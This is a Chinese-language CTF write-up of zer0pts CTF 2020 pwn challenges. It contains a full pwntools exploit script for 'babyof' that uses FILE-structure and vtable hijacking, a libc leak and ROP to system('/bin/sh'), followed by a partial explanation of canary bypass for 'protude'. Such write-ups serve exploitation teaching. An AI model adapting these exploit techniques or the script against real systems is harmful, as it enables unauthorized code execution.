2020 zer0pts CTF 部分PWN WriteUp。babyof是个栈溢出漏洞,通过修改stderr的IO_write_ptr的低一字节和stdout的vtable中的__overflow指向main函数,使得在调用exit函数刷新文件结构体的时候泄露libc地址并返回到main函数继续执行,进而再次利用栈溢出getshell。protude也是一个栈溢出漏洞,通过控制循环中的index绕过canary,两次泄露计算出rbp的值,在第三次溢出时进行两次栈迁移,将栈迁移到bss中getshell。grimoire格式化字符串漏洞泄露libc基址和canary,然后栈溢出覆写file_path为/proc/self/fd/0,程序在对file进行ftell操作的时候会返回-1,强制转换为unsigned后造成栈溢出,输入数据构造rop chain。diylist利用程序实现过程中的类型混淆泄露地址和构造DoubleFree,覆写free_hook,getshell。
很容易发现程序中存在的漏洞,栈溢出,但是程序调用的外部函数仅有read,setbuf,exit
这三个函数。此时如果想要泄露libc
基址的话就需要覆写stdout
结构体中的IO_write_ptr
指针的低位为\\\\x00
即可,但是当我们更改指针低字节之后还是没有办法输出,因为函数没有任何的输出函数,因此就不会刷新stdout
。
这里我们就需要强制缓冲区刷新,即调用_IO_OVERFLOW
,这里存在一个exit
函数,因此我们可以直接exit
,函数会调用_IO_cleanup_all
,刷新每一个文件结构体,这是我们就可以泄露出libc
的基址,但是泄露地址之后程序就退出了,因此我们还需要修改vtable
表中的__overflow
指针为main
函数地址,以继续执行程序,再次利用溢出修改返回地址getshell
。
但是如果我们修改的是stdout
的vtable
的__overflow
指针的话,我们的libc
就无法泄露,注意到_IO_list_all
的连接顺序为stderr,stdout_stdin
,因此我们可以修改stderr
的_IO_write_ptr
的低字节和stdout
的vtable
。在exit
函数执行刷新文件结构体的时候就会首先泄露libc
基址,接着就会重新返回main
函数执行,再次利用溢出布置rop chain
,即可getshell
。
首先看一下程序在main
函数结束的时候的寄存器状态
由于调用read
函数之后立即返回,其寄存器中的参数还没有被覆写,因此只需要修改rsi
即可。那么我们如何在没有libc
地址的情况下修改stderr
的结构呢,stderr
的地址存储在.bss
段中
我们可以将stderr-0x8
的地方覆写为p_rsi_r
,stderr+0x8
的地方写入接下来的read.plt+rop chain
,然后将栈迁移到stderr-0x10
的位置,此时就可以将stderr
的真实地址写到rsi
寄存器中,随后进行read
即可修改stderr
结构体中的相关数据。
在修改stdout
结构体的时候需要覆写stdout
指针的低字节,使得在覆写vtable
的地址的时候绕过libc
地址,之后再对stdout
地址进行复原,使得在输出的时候可以正常运行。
# encoding=utf-8
from pwn import *
file_path = "./chall"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 1
if debug:
p = process([file_path])
gdb.attach(p)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0
else:
p = remote('', 0)
libc = ELF('')
one_gadget = 0x0
p_rdi_r = 0x000000000040049c
p_rsi_r = 0x000000000040049e
p_rbp_r = 0x000000000040047c
leave_r = 0x0000000000400499
ret = 0x000000000040047d
p_r15_r = 0x000000000040049b
stderr_address = elf.sym['stderr']
stdin_address = elf.sym['stdin']
stdout_address = elf.sym['stdout']
read_address = elf.plt['read']
exit_address = elf.plt['exit']
main_address = elf.sym['main']
fake_vtable_address = elf.bss()+0xf00
payload = b"a"*0x28
payload += flat([
p_rsi_r,
stderr_address - 0x8,
read_address,
p_rsi_r,
stderr_address + 0x8,
read_address,
p_rbp_r,
stderr_address - 0x10,
leave_r
])
p.send(payload)
raw_input()
p.send(p64(p_rsi_r))
raw_input()
payload = flat([
read_address,
p_rsi_r, stdout_address - 0x8,
read_address,
p_rsi_r, stdin_address - 0x8,
read_address,
p_rsi_r, stderr_address - 0x8,
read_address,
p_rsi_r, stdout_address + 0x8,
read_address,
p_rbp_r, stdout_address - 0x10,
leave_r
])
p.send(payload)
raw_input()
fake_io = p64(0xfbad1800) + p64(0)*3 + b"\\\\x88"
p.send(fake_io)
raw_input()
# overwrite stdout address to bypass libc address overwrite
p.send(p64(p_rsi_r) + p64(libc.sym['_IO_2_1_stdout_'] + 0x70)[:1])
raw_input()
p.send(p64(p_r15_r)) # pad
raw_input()
p.send(p64(p_r15_r))
raw_input()
p.send(payload)
raw_input()
# overwrite stdout vtable address to fake vtable
payload = p64(2) + p64(0xffffffffffffffff)
payload += p64(0)*2 + p64(0xffffffffffffffff)
payload += p64(0)*8 + p64(fake_vtable_address)
p.send(payload)
# change stdout address back
p.send(p64(p_rsi_r) + p64(libc.sym['_IO_2_1_stdout_'])[:1])
raw_input()
p.send(p64(p_r15_r)) # pad
raw_input()
p.send(p64(p_r15_r))
raw_input()
payload = flat([
read_address, # overwrite stdout
p_rsi_r, elf.bss()+0x808,
read_address,
p_rbp_r, elf.bss()+0x800,
leave_r
])
p.send(payload)
raw_input()
p.send(fake_io)
raw_input()
payload = flat([
p_rsi_r, fake_vtable_address,
read_address,
exit_address
])
p.send(payload)
raw_input()
fake_vtable = p64(0)*3 + p64(main_address)
p.send(fake_vtable)
raw_input()
libc.address = u64(p.recv()[0x20:0x28]) - libc.sym['_IO_2_1_stdout_']
log.success("libc address {}".format(hex(libc.address)))
payload = b"a"*0x28
payload += flat([
p_rdi_r, libc.search(b"/bin/sh\\\\x00").__next__(),
libc.sym['system']
])
p.send(payload)
p.interactive()
在内存中long
存储的是8
字节,但是程序中只是按照4
字节去分配的,因此存在缓冲区溢出。但是程序存在canary
保护,我们可以通过覆写i
的值来绕过canary
。每次溢出都需要覆写返回地址指向calc_num
函数以持续获得控制流。因此选择n=22
,输入14
个数字之后到达i
的存储位置。
通过覆写i
的值绕过canary
的栈值,直接覆写返回地址,那么第一次输出的SUM
的值由如下构成
calc_address + rbp + rbp-0xb0 + canary + 0x16*2
我们可以将返回地址改写为calc_num+0x9
的值,以重复使用之前的栈帧,同样通过覆写i
的值绕过canary
的值,第二次输出的SUM
的值如下,此处的buf
是一个任意值用来覆写rbp
中存储的值。